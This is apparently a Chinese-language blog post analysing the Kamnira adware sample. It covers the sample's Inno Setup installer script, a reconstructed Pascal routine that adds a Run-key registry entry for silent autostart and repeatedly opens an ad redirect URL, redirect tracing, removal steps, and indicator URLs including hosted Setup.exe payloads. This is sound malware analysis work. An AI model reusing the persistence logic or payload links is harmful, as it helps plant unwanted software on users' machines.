Kamnira Adware分析前言
前几天,虚拟机中的Chrome浏览器老是不停的弹一些广告页面。检查一下任务管理器,才明白是中了Adware类型的恶意程序了。今天给大家分析一下这个样本,最后再给出如何人工删除这样的恶意样本。
FileDescription:
FJaj SetupProductName:
FJajMD5:
45965353941D1512AE04F9AD1C45E125Sha-1:
2743E94CDD4786E41960F9C28B2C8B881C9CEE8A
初步分析1.
IDA 静态分析
从start->main函数,发现InnoSetUpLdrWindow字符串,Shift+F12打开字符串列表,出现如下字符串:Inno Setup Setup Data (5.5.7)Inno Setup Messages (5.5.3)

由上面字符串推测,应该是由某个软件打包或者二次开发的。
2. 查找Inno Setup字符串
Google搜索Inno Setup字符串,跳到Inno SetUp软件官网https://jrsoftware.org/isinfo.php,它是一个免费Windows安装程序打包软件。
[font=-apple-system, BlinkMacSystemFont, "]3. 提出Kamnira恶意代码Payload
使用Inno Extractor软件提取Kamnira Payload

psvince.dll、idp.dll和itdownload.dll被Inno Setup Pascal脚本调用,相关源码链接在文章结尾给出。decompressor.dll和 How-To-PROPERLY是与网络编码与解码相关的库。
install_script 安装脚本分析1. Inno Setup Version
;InnoSetupVersion=5.5.72. SetUp Section[Setup]AppName=FJajAppId=FHannAppVersion=
64.41AppPublisherURL=ssh://
42.21.62.5AppSupportURL=ssh://
42.21.62.5AppUpdatesURL=ssh://
42.21.62.5DefaultDirName={pf}FJajDefaultGroupName=FJajOutputBaseFilename=E
0UGA
4~
1.EXE Compression=zip --> 压缩算法PrivilegesRequired=lowestDisableDirPage=autoDisableProgramGroupPage=autoWizardImageFile=embeddedWizardImage
0.bmpWizardSmallImageFile=embeddedWizardSmallImage
0.bmp
3. Files Section[Files]Source:
"{tmp}HOW-TO-PROPERLY-HTP--master.zip"; DestDir:
"{tmp}"; MinVersion:
0.0,
5.0; Flags: deleteafterinstall dontcopySource:
"{tmp}psvince.dll"; DestDir:
"{tmp}"; MinVersion:
0.0,
5.0; Flags: deleteafterinstall dontcopySource:
"{tmp}idp.dll"; DestDir:
"{tmp}"; MinVersion:
0.0,
5.0; Flags: deleteafterinstall dontcopySource:
"{tmp}itdownload.dll"; DestDir:
"{tmp}"; MinVersion:
0.0,
5.0; Flags: deleteafterinstall dontcopy
4. CustomMessage Section[CustomMessages]default.NameAndVersion=%
1 version %
2default.AdditionalIcons=Additional shortcuts:default.CreateDesktopIcon=Create a &desktop shortcutdefault.CreateQuickLaunchIcon=Create a &Quick Launch shortcutdefault.ProgramOnTheWeb=%
1 on the Webdefault.UninstallProgram=Uninstall %
1default.LaunchProgram=Launch %
1default.AssocFileExtension=&Associate %
1 with the %
2 file extensiondefault.AssocingFileExtension=Associating %
1 with the %
2 file extension...default.AutoStartProgramGroupDescription=Startup:default.AutoStartProgram=Automatically start %
1default.AddonHostProgramNotFound=%
1 could not be located in the folder you selected.%n%nDo you want to continue anyway?/*以上是默认配置*/IDP_FormCaption=Downloading additional filesIDP_FormDescription=Please wait while Setup is downloading additional files...IDP_TotalProgress=Total progressIDP_CurrentFile=Current fileIDP_File=File:IDP_Speed=Speed:IDP_Status=Status:IDP_ElapsedTime=Elapsed time:IDP_RemainingTime=Remaining time:IDP_DetailsButton=DetailsIDP_HideButton=HideIDP_RetryButton=RetryIDP_IgnoreButton=IgnoreIDP_KBs=KB/sIDP_MBs=MB/sIDP_X_of_X=%.
2f of %.
2fIDP_KB=KBIDP_MB=MBIDP_GB=GBIDP_Initializing=Initializing...IDP_GettingFileInformation=Getting file information...IDP_StartingDownload=Starting download...IDP_Connecting=Connecting...IDP_Downloading=Downloading...IDP_DownloadComplete=Download completeIDP_DownloadFailed=Download failedIDP_CannotConnect=Cannot connectIDP_CancellingDownload=Cancelling download...IDP_Unknown=UnknownIDP_DownloadCancelled=Download cancelledIDP_RetryNext=Check your connection and click 'Retry' to try downloading the files again, or click 'Next' to continue installing anyway.IDP_RetryCancel=Check your connection and click 'Retry' to try downloading the files again, or click 'Cancel' to terminate setup.IDP_FilesNotDownloaded=The following files were not downloaded:IDP_HTTPError_X=HTTP error %dIDP_
400=Bad request (
400)IDP_
401=Access denied (
401)IDP_
404=File not found (
404)IDP_
407=Proxy authentication required (
407)IDP_
500=Server internal error (
500)IDP_
502=Bad gateway (
502)IDP_
503=Service temporaily unavailable (
503)
经过验证上述关于IDP的配置与开源项目innosetup-download-plugin完全一致. 这部分配置说明,该样本只使用了idp.dll的函数,并没有使用itdownload.dll中的函数.
5. Code Section
{* 初始化函数: 该函数在安装程序初始化时调用,返回False 将中断安装,True则继续安装 *}INITIALIZESETUP
{ 与安装向导相关的函数 }WIZARDVERYSILENTWIZARDSUPRESSMSGBOXES
{ 函数或过程, 这些函数名称与其功能相同,相关源码链接在文章结尾给出 }procedure idpAddFile(Arg0: ?; Arg1: ?) cdecl; external 'idpAddFile@idp.dll cdecl';
procedure idpAddFileComp(Arg0: ?; Arg1: ?; Arg2: ?) cdecl; external 'idpAddFileComp@idp.dll cdecl';
procedure idpAddMirror(Arg0: ?; Arg1: ?) cdecl; external 'idpAddMirror@idp.dll cdecl';
procedure idpAddFtpDir(Arg0: ?; Arg1: ?; Arg2: ?; Arg3: ?) cdecl; external 'idpAddFtpDir@idp.dll cdecl';
procedure idpAddFtpDirComp(Arg0: ?; Arg1: ?; Arg2: ?; Arg3: ?; Arg4: ?) cdecl; external 'idpAddFtpDirComp@idp.dll cdecl';
procedure idpClearFiles() cdecl;external 'idpClearFiles@idp.dll cdecl';
function idpFilesCount(): ?
cdecl;
external 'idpFilesCount@idp.dll cdecl';
function idpFtpDirsCount(): ?
cdecl;
external 'idpFtpDirsCount@idp.dll cdecl';
function idpFileDownloaded(Arg0: ?): ?
cdecl;
external 'idpFileDownloaded@idp.dll cdecl';
function idpFilesDownloaded(): ?
cdecl;
external 'idpFilesDownloaded@idp.dll cdecl';
function idpDownloadFile(Arg0: ?; Arg1: ?): ?
cdecl;
external 'idpDownloadFile@idp.dll cdecl';
function idpDownloadFiles(): ?
cdecl;
external 'idpDownloadFiles@idp.dll cdecl';
function idpDownloadFilesComp(): ?
cdecl;
external 'idpDownloadFilesComp@idp.dll cdecl';
function idpDownloadFilesCompUi(): ?
cdecl;
external 'idpDownloadFilesCompUi@idp.dll cdecl';
procedure idpStartDownload() cdecl; external 'idpStartDownload@idp.dll cdecl';
procedure idpStopDownload() cdecl; external 'idpStopDownload@idp.dll cdecl';
procedure idpSetLogin(Arg0: ?; Arg1: ?) cdecl; external 'idpSetLogin@idp.dll cdecl';
procedure idpSetProxyMode(Arg0: ?) cdecl; external 'idpSetProxyMode@idp.dll cdecl';
procedure idpSetProxyName(Arg0: ?) cdecl; external 'idpSetProxyName@idp.dll cdecl';
procedure idpSetProxyLogin(Arg0: ?; Arg1: ?) cdecl; external 'idpSetProxyLogin@idp.dll cdecl';
procedure idpConnectControl(Arg0: ?; Arg1: ?) cdecl; external 'idpConnectControl@idp.dll cdecl';
procedure idpAddMessage(Arg0: ?; Arg1: ?) cdecl; external 'idpAddMessage@idp.dll cdecl';
procedure idpSetInternalOption(Arg0: ?; Arg1: ?) cdecl; external 'idpSetInternalOption@idp.dll cdecl';
procedure idpSetDetailedMode(Arg0: ?) cdecl; external 'idpSetDetailedMode@idp.dll cdecl';
procedure idpSetComponents(Arg0: ?) cdecl; external 'idpSetComponents@idp.dll cdecl';
procedure idpReportError() cdecl; external 'idpReportError@idp.dll cdecl';
procedure idpTrace(Arg0: ?) cdecl; external 'idpTrace@idp.dll cdecl';
procedure idpAddFileSize32(Arg0: ?; Arg1: ?; Arg2: ?) cdecl; external 'idpAddFileSize32@idp.dll cdecl';
procedure idpAddFileSize32(Arg0: ?; Arg1: ?; Arg2: ?; Arg3: ?) cdecl; external 'idpAddFileSize32@idp.dll cdecl';
function idpGetFileSize32(Arg0: ?; var Arg1: ?): ?
cdecl;
external 'idpGetFileSize32@idp.dll cdecl';
function idpGetFilesSize32(var Arg0: ?): ?
cdecl;
external 'idpGetFilesSize32@idp.dll cdecl';
procedure itd_cancel() stdcall; external 'itd_cancel@itdownload.dll stdcall';
procedure itd_clearfiles() stdcall; external 'itd_clearfiles@itdownload.dll stdcall';
function itd_downloadfile(Arg0: ?; Arg1: ?): ?
stdcall;
external 'itd_downloadfile@itdownload.dll stdcall';
function itd_getresultlen(): ?
stdcall;
external 'itd_getresultlen@itdownload.dll stdcall';
procedure itd_getresultstring(Arg0: ?; Arg1: ?) stdcall; external 'itd_getresultstring@itdownload.dll stdcall';
procedure itd_initui(Arg0: ?) stdcall; external 'itd_initui@itdownload.dll stdcall';
function itd_loadstrings(Arg0: ?): ?
stdcall;
external 'itd_loadstrings@itdownload.dll stdcall';
procedure itd_setoption(Arg0: ?; Arg1: ?) stdcall; external 'itd_setoption@itdownload.dll stdcall';
function itd_getfilesize(Arg0: ?; var Arg1: ?): ?
stdcall;
external 'itd_getfilesize@itdownload.dll stdcall';
function itd_getstring(Arg0: ?): ?
stdcall;
external 'itd_getstring@itdownload.dll stdcall';
function itd_getoption(Arg0: ?; Arg1: ?; Arg2: ?): ?
stdcall;
external 'itd_getoption@itdownload.dll stdcall';
procedure itd_setstring(Arg0: ?; Arg1: ?) stdcall; external 'itd_setstring@itdownload.dll stdcall';
procedure itd_addfile(Arg0: ?; Arg1: ?) stdcall; external 'itd_addfile@itdownload.dll stdcall';
procedure itd_addmirror(Arg0: ?; Arg1: ?) stdcall; external 'itd_addmirror@itdownload.dll stdcall';
procedure itd_addfilesize(Arg0: ?; Arg1: ?; Arg2: ?) stdcall; external 'itd_addfilesize@itdownload.dll stdcall';
function itd_downloadfiles(Arg0: ?): ?
stdcall;
external 'itd_downloadfiles@itdownload.dll stdcall';
function itd_filecount(): ?
stdcall;
external 'itd_filecount@itdownload.dll stdcall';
function itd_postpage(Arg0: ?; Arg1: ?; Arg2: ?): ?
stdcall;
external 'itd_postpage@itdownload.dll stdcall';
function IsModuleLoaded(Arg0: ?): ?
stdcall;
external 'IsModuleLoaded@psvince.dll stdcall';
function ShellExecuteA(Arg0: ?; Arg1: ?; Arg2: ?; Arg3: ?; Arg4: ?; Arg5: ?): ?
stdcall;
external 'ShellExecuteA@shell32.dll stdcall';
procedure ExitProcess(Arg0: ?) stdcall; external 'ExitProcess@kernel32.dll stdcall';
6. 逆向还原INITIALIZESETUP函数
function INITIALIZESETUP():BOOLEANconst {* constant string value *} {* URL *} param =
'{param:p|}'; open_action =
'open'; https =
'https://'; url_header =
'thebestof'; url_end =
'fersintheweb.com/redirect/57a764d042bf8/'; {* registry *} full_path =
"{srcexe}"; HKEY_CURRENT_USER =
0x80000001; subkey =
'SOFTWARE\Microsoft\Windows\CurrentVersion\Run'; {* other *} taskmgr =
'taskmgr.exe'; {* constant number value *} sleep_ms =
60000;
var error_code, flag, seven, random_value, sum_times, urlbegin param_value := EXPANDCONSTANT(param); flag := param_value <>
''; {不为空,则设置自启动}
if not flag then src_exe_full_path := EXPANDCONSTANT(full_path) s :=
'"' + src_exe_full_path +
'" /VERYSILENT' random_value := RANDOM(
9999999) REGWRITESTRINGVALUE(HKEY_CURRENT_USER, subkey, INTTOSTR(random_value), s) {设置自启动}
while 1 do begin random_value = RANDOM(
5)
if random_value >
1 then sum_times := random_value *
60000 SLEEP(sum_times)
break; end;label1: result := IsModuleLoaded(taskmgr) {taskmgr.exe进程是否存在,存在(TRUE), 不存在(FALSE)}
if result then url := https + url_header + url_end SHELLEXEC(open, url,
'',
'',
5,
0, error_code)
while 1 do begin random_value := RANDOM(
7); result := random_value >
1;
if result then sum_times := random_value *
60000 SLEEP(sum_times); {休眠} goto label1;
else sum_times := random_value * sleep_ms; SLEEP(sum_times); result := IsModuleLoaded(taskmgr);
if result then url := https + url_header + url_end; SHELLEXEC(open, url,
'',
'',
5,
0, error_code); {打开url} end;end.
INITIALIZESETUP函数主要完成两个任务:1.修改注册表,以实现持久化;2. 不间断打开浏览器推送广告。不过,代码中有一点很有意思:用户打开进程管理器,该样本仍弹广告而不是休眠。(有可能是我分析错了,大牛可以在评论里面指正)
追踪URL
浏览器配置代{过}{滤}理为127.0.0.1:8080, 使用burpsuite拦截浏览器请求.
经过一次重定向跳转至广告页面

经过五次重定向跳转至广告页面
经过七次重定向跳转至广告页面

总结:每次浏览器重新请求www.thebestoffersintheweb.com页面,跳转至最终广告页面的次数不是确定的。
总结
整个恶意程序大部分都是使用开源代码开发,需要修改的部分只有一个Inno Setup安装脚本和一个推送广告的网站。这个样本只是虚拟机感染Adware样本之一,其他的样本分析手法类似。第一次分析Innosetup类型的样本,顺便花一上午学习pascal脚本。我本身主要做逆向分析的,欢迎其他大牛补充恶意广告域名部分内容。使用微步查询onclickmax.com,得到如下结果:
如何删除该样本1. kill process
打开进程管理器,结束进程。一般该进程处于未响应状态。
2. 删除相关文件
删除当前恶意样本,然后打开%tmp%文件夹,删除相关文件。
3. 注册表相关
检查HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run是否有存在与该样本相关的自动项。
相关链接idp源码:https:
//github.com/WPN-XM/WPN-XM/tree/master/bin/innosetup-download-pluginitdownload源码:https:
//github.com/wilbit/itdownload.gitpsvince源码: https:
//github.com/XhmikosR/psvincePascal脚本学习:https:
//iowiki.com/pascal/Innosetup
Pascal脚本: https:
//blog.csdn.net/yushanddddfenghailin/article/details/17250917IOCwebsite:
http://www.onclickmax.com/URL:
ssh://42.21.62.5URL:
http://e44e2824-6dea-452b-bca8-b2c5db1680a9.s3.amazonaws.com/Bubble/Fake/Setup.exeURL:
http://e44e2824-6dea-452b-bca8-b2c5db1680a9.s3.amazonaws.com/Bubble/USA/Setup.exeURL:
http://e44e2824-6dea-452b-bca8-b2c5db1680a9.s3.amazonaws.com/Bubble/CA/Setup.exeURL:
http://e44e2824-6dea-452b-bca8-b2c5db1680a9.s3.amazonaws.com/Bubble/SE/Setup.exe